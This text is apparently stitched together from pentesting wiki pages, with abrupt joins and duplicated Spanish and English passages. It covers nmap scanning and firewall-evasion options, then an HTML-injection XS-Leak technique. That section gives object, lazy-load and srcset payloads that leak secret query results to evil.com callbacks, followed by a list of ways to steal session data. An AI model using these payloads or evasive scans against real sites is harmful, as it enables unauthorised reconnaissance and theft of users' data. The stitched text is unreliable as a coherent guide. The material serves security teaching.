nmap -sV -sC -O -n -oA nmapscan 192.168.0.1/24
```
**-iL** lista\_IPs
## Parameters
**-iR** numero --&gt; Número de Ips aleatorias, se pueden excluir posibles Ips con **--exclude &lt;Ips&gt;** o **--excludefile &lt;fichero&gt;**
### IPs to scan
**Descubrimiento de equipos:**
* **`<ip>,<net/mask>`:** Indicate the ips directly
* **`-iL <ips_file>`:** list\_IPs
* **`-iR <number>`**: Number of random Ips, you can exclude possible Ips with `--exclude <Ips>` or `--excludefile <file>`.
Podemos usar máscaras/24
### Equipment discovery
**-sL**: No es invasivo, lista los objetivos realizando peticiones de DNS para resolver nombres. Sirve para saber si por ejemplo www.prueba.es/24 todas las Ips son objetivos nuestros.
By default Nmap launches a discovery phase consisting of: `-PA80 -PS443 -PE -PP`
Por defecto Nmap lanza una fase de descubrimiento que consta de: -PA80 -PS443 -PE -PP
* **`-sL`**: It is not invasive, it lists the targets making **DNS** requests to resolve names. It is useful to know if for example www.prueba.es/24 all Ips are our targets.
* **`-Pn`**: **No ping**. This is useful if you know that all of them are active (if not, you could lose a lot of time, but this option also produces false negatives saying that they are not active), it prevents the discovery phase.
* **`-sn`** : **No port scan**. After completing the reconnaissance phase, it does not scan ports. It is relatively stealthy, and allows a small network scan. With privileges it sends an ACK (-PA) to 80, a SYN(-PS) to 443 and an echo request and a Timestamp request, without privileges it always completes connections. If the target is the network, it only uses ARP(-PR). If used with another option, only the packets of the other option are dropped.
* **`-PR`**: **Ping ARP**. It is used by default when analyzing computers in our network, it is faster than using pings. If you do not want to use ARP packets use `--send-ip`.
* **`-PS <ports>`**: It sends SYN packets to which if it answers SYN/ACK it is open (to which it answers with RST so as not to end the connection), if it answers RST it is closed and if it does not answer it is unreachable. In case of not having privileges, a total connection is automatically used. If no ports are given, it throws it to 80.
* **`-PA <ports>`**: Like the previous one but with ACK, combining both of them gives better results.
* **`-PU <ports>`**: The objective is the opposite, they are sent to ports that are expected to be closed. Some firewalls only check TCP connections. If it is closed it is answered with port unreachable, if it is answered with another icmp or not answered it is left as destination unreachable.
* **`-PE, -PP, -PM`** : ICMP PINGS: echo replay, timestamp and addresmask. They are launched to find out if the target is active.
* **`-PY<ports>`**: Sends SCTP INIT probes to 80 by default, INIT-ACK(open) or ABORT(closed) or nothing or ICMP unreachable(inactive) can be replied.
* **`-PO <protocols>`**: A protocol is indicated in the headers, by default 1(ICMP), 2(IGMP) and 4(Encap IP). For ICMP, IGMP, TCP (6) and UDP (17) protocols the protocol headers are sent, for the rest only the IP header is sent. The purpose of this is that due to the malformation of the headers, Protocol unreachable or responses of the same protocol are answered to know if it is up.
* **`-n`**: No DNS
* **`-R`**: DNS always
**-Pn** No ping --&gt; útil **si se sabe que todos están activos** \(sino lo estuviera alguno se podría perder mucho tiempo, pero también saca falsos negativos esta opción diciendo que no esta activo\), impide la fase de descubirmiento
### Port scanning techniques
**-sn** No port scan: Tras completar fase de reconocimiento **no analiza puertos.** Es relativamente sigilosa, y permite un pequeño reconocimiento de la red. Con privilegios envía un ACK \(-PA\) al 80, un SYN\(-PS\) al 443 y un echo request y un Timestamp request, sin privilegios siempre completa conexiones. Si el objetivo es de la red, solo usa ARP\(-PR\). Si se usa con otra opción solo se lanzan los paquetes de la otra opción.
* **`-sS`**: Does not complete the connection so it leaves no trace, very good if it can be used.(privileges) It is the one used by default.
* **`-sT`**: Completes the connection, so it does leave a trace, but it can be used for sure. By default without privileges.
* **`-sU`**: Slower, for UDP. Mostly: DNS(53), SNMP(161,162), DHCP(67 and 68), (-sU53,161,162,67,68): open(reply), closed(port unreachable), filtered (another ICMP), open/filtered (nothing). In case of open/filtered, -sV sends numerous requests to detect any of the versions that nmap supports and can detect the true state. It increases a lot the time.
* **`-sY`**: SCTP protocol fails to establish the connection, so there are no logs, works like -PY
* **`-sN,-sX,-sF`:** Null, Fin, Xmas, they can penetrate some firewalls and extract information. They are based on the fact that standard compliant machines should respond with RST all requests that do not have SYN, RST or ACK lags raised: open/filtered(nothing), closed(RST), filtered (ICMP unreachable). Unreliable on WIndows, CIsco, BSDI and OS/400. On unix yes.
* **`-sM`**: Maimon scan: Sends FIN and ACK flags, used for BSD, currently will return all as closed.
* **`-sA, sW`**: ACK and Window, is used to detect firewalls, to know if the ports are filtered or not. The -sW does distinguish between open/closed since the open ones respond with a different window value: open (RST with window other than 0), closed (RST window = 0), filtered (ICMP unreachable or nothing). Not all computers work this way, so if it is all closed, it is not working, if it is a few open, it is working fine, and if it is many open and few closed, it is working the other way around.
* **`-sI`:** Idle scan. For the cases in which there is an active firewall but we know that it does not filter to a certain Ip (or when we simply want anonymity) we can use the zombie scanner (it works for all the ports), to look for possible zombies we can use the scrpit ipidseq or the exploit auxiliary/scanner/ip/ipidseq. This scanner is based on the IPID number of the IP packets.
* **`--badsum`:** It sends the sum wrong, the computers would discard the packets, but the firewalls could answer something, it is used to detect firewalls.
* **`-sZ`:** "Weird" SCTP scanner, when sending probes with cookie echo fragments they should be dropped if open or responded with ABORT if closed. It can pass through firewalls that init does not pass through, the bad thing is that it does not distinguish between filtered and open.
* **`-sO`:** Protocol Ip scan. Sends bad and empty headers in which sometimes not even the protocol can be distinguished. If ICMP unreachable protocol arrives it is closed, if unreachable port arrives it is open, if another error arrives, filtered, if nothing arrives, open|filtered.
* **`-b <server>`:** FTPhost--> It is used to scan a host from another one, this is done by connecting the ftp of another machine and asking it to send files to the ports that you want to scan from another machine, according to the answers we will know if they are open or not. \[\<user>:\<password>@]\<server>\[:\<port>] Almost all ftps servers no longer let you do this and therefore it is of little practical use.
**-PR** Ping ARP: Se usa por defecto cuando se analizan equipos de nuestra red, es más rápido que usar pings. Si no se quiere usar paquetes ARP hay que usar --send-ip.
### **Centrar análisis**
**-PS&lt;puertos&gt;** SYN: envía paquetes de SYN a los que si responde SYN/ACK es que esta abierto\(al que se reponde con RST para no acabar la conexión\), si responde RST esta cerrado y si no responde es inalcanzable. En caso de no tener privilegios automáticamente se usa una conexión total. Si no se dan puertos, lo lanza al 80.
**-PA&lt;puertos&gt;** ACK: Como la anterior pero con ACK, combinando ambas se obtienen mejores resultados.
**-PU&lt;puertos&gt;** UDP: El objetivo es el contrario, se envían a puertos que se espera que estén cerrados. Algunos firewall solo revisan conexiones TCP. Si está cerrado se responde con port unreachable, si se responde con otro icmp o no se responde se deja como destino inalcanzable.
**-PE, -PP, -PM** PINGS ICMP:echo replay, timestamp y addresmask. Se lanzan para descubrir si el objetivo esta activo
**-PY&lt;puertos&gt;** SCTP: Envía sondas SCTP INIT al 80 por defecto, se puede responder INIT-ACK\(abierto\) o ABORT\(cerrado\) o nada o ICMP inalcanzable\(inactivo\)
-**PO&lt;protocolos&gt;:** Se indica un protocolo en las cabeceras, por defecto 1\(ICMP\), 2\(IGMP\) y 4\(Encap IP\). Para los protocolos ICMP, IGMP, TCP \(6\) Y UDP \(17\) se envían las cabeceras del protocolo, para el resto solo se envía la cabecera IP. EL objetivo de esto es que por la malformación de las cabeceras, se responda Protocolo inalcanzable o respuestas del mismo protocolo para saber si está levantado.
**-n** No DNS
**-R** DNS siempre
**Técnicas de escaneo de puertos:**
**-sS** --&gt; No completa la conexión por lo que no deja rastro, muy buena si se puede usar. \(privilegios\) Es la que se usa por defecto
**-sT** --&gt; Completa la conexión, por lo que sí que deja rastro, pero seguro que se puede usar. Por defecto sin privilegios.
**-sU** --&gt; Más lenta, para UDP. Ppalmente: DNS\(53\), SNMP\(161,162\), DHCP\(67 y 68\), \(-sU53,161,162,67,68\): abierto\(respuesta\), cerrado\(puerto inalcanzable\), filtrado \(otro ICMP\), abierto/filtrado \(nada\). En caso de tener abierto/filtrado, -sV envía numerosas peticiones para detectar alguna de las versiones que nmap soporta pudiendo detectar el auténtico estado. Aumenta mucho el tiempo.
**-sY** --&gt; Protocolo SCTP no llega a establecer la conexión, por lo que no hay registros, funciona como -PY
**-sN,-sX,-sF** --&gt; Null, Fin, Xmas, sirven pueden penetrar algunos firewall y sacar información. Se basan en que los equipos que cumplan el estándar deberán responder con RST todas las peticiones que no tengan levantadas los lags de SYN, RST o ACK: abierto/filtrado\(nada\), cerrados\(RST\), filtrado \(ICMP inalcanzable\). No fiable en WIndows, CIsco, BSDI y OS/400. En unix sí.
**-sM Maimon scan:** Envía flags FIN y ACK, usado para BSD, actualmente devolverá todo como cerrado.
**-sA, sW** --&gt; ACK y Window, sirve para detectar firewalls, para saber si los puertos están filtrados o no. El -sW sí distingue entre abiertos/cerrados ya que los abiertos responden con un valor de window distinto: abiertos\(RST con ventana distinto de 0\), cerrado \(RST ventana = 0\), filtrado \(ICMP inalcanzable o nada\). No todos los equipos funcionan así, así que si sale todo cerrado, es que no funciona, si salen unos pocos abiertos es que funciona bien, y si salen muchos abiertos y pocos cerrados, es que funciona al revés.
**-sI Idle scan** --&gt; Para los casos en los que hay un firewall activo pero que sabemos que este no filtra a una determinada Ip \(o cuando queremos simplemente anonimato\) podemos usar el escáner zombie \(sirve para todos los puertos\), para buscar posibles zombies podemos usar el scrpit ipidseq o el exploit auxiliary/scanner/ip/ipidseq. Este escaner se basa en el número IPID de los paquetes IP
**--badsum --&gt;** Envían la suma mal, los equipos descartarían los paquetes, pero los firewall podrían responder algo, sirve para detectar firewalls
**-sZ** --&gt; Escaner “raro” de SCTP, al enviar sondas con fragmentos cookie echo deben ser eliminadas si esta abierto o respondidas con ABORT si cerrado. Puede traspasar firewalls que no traspasa el init, lo malo es que no distingue entre filtrado y abierto.
**-sO** --&gt; Protocol Ip scan: Envía cabeceras mal y vacías en las que a veces no se distingue ni el protocolo. Si llega ICMP unreachable protocol esta cerrado, si llega unreachable port esta abierto, si llega otro error, filtrado, si no llega nada, abierto\|filtrado
**-b&lt;servidor&gt;** FTPhost--&gt; Sirve para escanear un host desde otro, eso lo hace conectándose el ftp de otra máquina y pidiendole que envía archivos a los puertos que se quiera escanear de otra máquina, según las respuestas sabremos si están abiertos o no. \[&lt;usuario&gt;:&lt;contraseña&gt;@\]&lt;servidor&gt;\[:&lt;puerto&gt;\] Casi todos los servidores ftps ya no dejan hacer esto y por lo tanto ya tiene poca utilidad práctica,
**Centrar análisis:**
**-p:** Sirve para dar los puertos a escanear. Para seleccionar los 65335: **-p-** o **-p all**. Nmap tiene una clasificaación interna según su popularidad. Por defecto usa los 1000 ppales. Con **-F** \(fast scan\) analiza los 100 ppales. Con **--top-ports &lt;numero&gt;** Analiza ese numero de ppales \(de 1 hasta los 65335\). Comprueba los puertos en orden aleatorio, para que eso no pase **-r**. También podemos seleccionar puertos: 20-30,80,443,1024- Esto ultimo significa que mire en adelante del 1024. También podemos agrupar los puertos por protocolos: U:53,T:21-25,80,139,S:9. También podemos escoger un rango dentro de los puertos populares de nmap: -p \[-1024\] analiza hasta el 1024 de los incluidos en nmap-services. **--port-ratio &lt;ratio&gt;** Analiza los puertos más comúnes que un ratio que debe estar entre 0 y 1

**-sV** Escaneado de versión, se puede regular la intensidad de 0 a 9, por defecto 7.
**--version-intensity &lt;numero&gt;** Regulamos la intensidad, de forma que cuanto más bajo solo lanzará las sondas más probables, pero no todas. Con esto podemos acortar considerablemente el tiempo de escaneo UDP
**--version-intensity \<numero>** Regulamos la intensidad, de forma que cuanto más bajo solo lanzará las sondas más probables, pero no todas. Con esto podemos acortar considerablemente el tiempo de escaneo UDP
**-O** Deteccion de os
**--osscan-limit** Para escanear bien un host se necesita que al menos haya 1 puerto abierto y otro cerrado, si no se da esta condición y hemos puesto esto, no intenta hacer predicción de os \(ahorra tiempo\)
**--osscan-limit** Para escanear bien un host se necesita que al menos haya 1 puerto abierto y otro cerrado, si no se da esta condición y hemos puesto esto, no intenta hacer predicción de os (ahorra tiempo)

**Control tiempo**
**Nmap puede modificar el tiempo en segundos, minutos, ms:** --host-timeout arguments 900000ms, 900, 900s, and 15m all do the same thing.
Nmap divide el numero total de host a escanear en grupos y analiza esos grupos en bloques de forma que hasta que no han sido analizados todos, no pasa al siguiente bloque \(y el usuario tampoco recibe ninguna actualización hasta que se haya analizado el bloque\) de esta forma, es más óptimo para nmap usar grupos grandes. Por defecto en clase C usa 256.

## Speed Up Nmap Service scan x16
According [**to this post**](https://joshua.hu/nmap-speedup-service-scanning-16x) you can speed up the nmap service analysis by modifying all the **`totalwaitms`** values in **`/usr/share/nmap/nmap-service-probes`** to **300** and **`tcpwrappedms`** to **200**.
Moreover, probes which do not have a specifically defined **`servicewaitms`** use a default value of **`5000`**. Therefore, we can either add values to each of the probes, or we can **compile nmap** ourselves and change the default value in [**service\_scan.h**](https://github.com/nmap/nmap/blob/master/service\_scan.h#L79).
If you don't want to change the values of **`totalwaitms`** and **`tcpwrappedms`** at all in the `/usr/share/nmap/nmap-service-probes` file, you can edit the [parsing code](https://github.com/nmap/nmap/blob/master/service\_scan.cc#L1358) such that these values in the `nmap-service-probes` file are completely ignored.

This is a **mix** between **dangling markup and XS-Leaks**. From one side the vulnerability allows to **inject HTML** (but not JS) in a page of the **same origin** of the one we will be attacking. On the other side we won't **attack** directly the page where we can inject HTML, but **another page**.
## Nested Objects
If the <mark style="color:yellow;">`/api/v1/leaky?secret=a`</mark> endpoint returns a 404 status code, then the inner `object` is loaded, giving a callback to <mark style="color:yellow;">`https://evil.com?callback=a`</mark> and letting us know that the search query `a` yielded no results.
```html
<object data="/api/v1/leaky?secret=a">
<object data="https://evil.com?callback=a"></object>
</object>
```
### Lazy Loading
What if CSP blocks external objects? Let's try again with the following CSP:
<mark style="color:yellow;">`Content-Security-Policy: default-src 'self'; img-src *;`</mark>
Our callback `object` from above no longer works. In its place, we can use image [lazy loading](https://developer.mozilla.org/en-US/docs/Web/Performance/Lazy\_loading)! The following image will only load when it is visible and within a certain distance from the viewport.
```html
<object data="/api/v1/leaky?secret=a">
<img src="https://evil.com?callback" loading="lazy">
</object>
```
### Responsive Images
The above technique is great, but it relies on our HTML injection being within the user's viewport.
If the injection is off-screen and the user doesn't scroll, can we still leak data? Of course, we can use element IDs and [scroll-to-text-fragment](https://chromestatus.com/feature/4733392803332096) to create a URL that forces a scroll, but these rely on user interaction and don't allow us to achieve consistent leaks in a real-world scenario. Ideally, we want to weaponise stored HTML injection in a reliable manner.
Enter responsive images! Specifically, the `srcset` and `sizes` attributes of images.
{% code overflow="wrap" %}
```html
<object data="/api/v1/leaky?secret=a">
<iframe srcdoc="<img srcset='https://evil.com?callback=1 480w, https://evil.com?callback=0 800w' sizes='(min-width: 1000px) 800px, (max-width 999px) 480px'>" width="1000px">
</object>
```
{% endcode %}
There's quite a few things to unpack here. First, remember that the inner iframe will only be visible if the leaky endpoint returns a 404 status code.
This is important because we are now going to conditionally load the image within the iframe from two different URLs. Using the `sizes` attribute, we can use [media queries](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS\_media\_queries/Using\_media\_queries) to choose which URL to load the image from, depending on the viewport size.
{% code overflow="wrap" %}
```html
<img
srcset='https://evil.com?callback=0 800w, https://evil.com?callback=1 480w'
sizes='(min-width: 1000px) 800px, (max-width 999px) 480px'
>

{% endcode %}
Because our iframe has `width="1000px"`, the following happens:
1. If the leaky endpoint returns a 404 status code, the iframe is displayed and has a width of 1000px. The image within the iframe matches the `(min-width: 1000px)` media query and loads the 800px image from `https://evil.com?callback=0`.
2. If the leaky endpoint returns a 200 status code, the iframe is _not_ displayed. Since the image is not being rendered as part of a large iframe, it matches the `(max-width 999px)` media query and loads the 480px image from `https://evil.com?callback=1`.

If at some point you find a **web page that presents you sensitive information based on your session**: Maybe it's reflecting cookies, or printing or CC details or any other sensitive information, you may try to steal it.\
Here I present you the main ways to can try to achieve it:
* [**CORS bypass**](pentesting-web/cors-bypass.md): If you can bypass CORS headers you will be able to steal the information performing Ajax request for a malicious page.
* [**XSS**](pentesting-web/xss-cross-site-scripting/): If you find a XSS vulnerability on the page you may be able to abuse it to steal the information.
* [**Danging Markup**](pentesting-web/dangling-markup-html-scriptless-injection.md): If you cannot inject XSS tags you still may be able to steal the info using other regular HTML tags.
* [**Clickjaking**](pentesting-web/clickjacking.md): If there is no protection against this attack, you may be able to trick the user into sending you the sensitive data (an example [here](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20)).
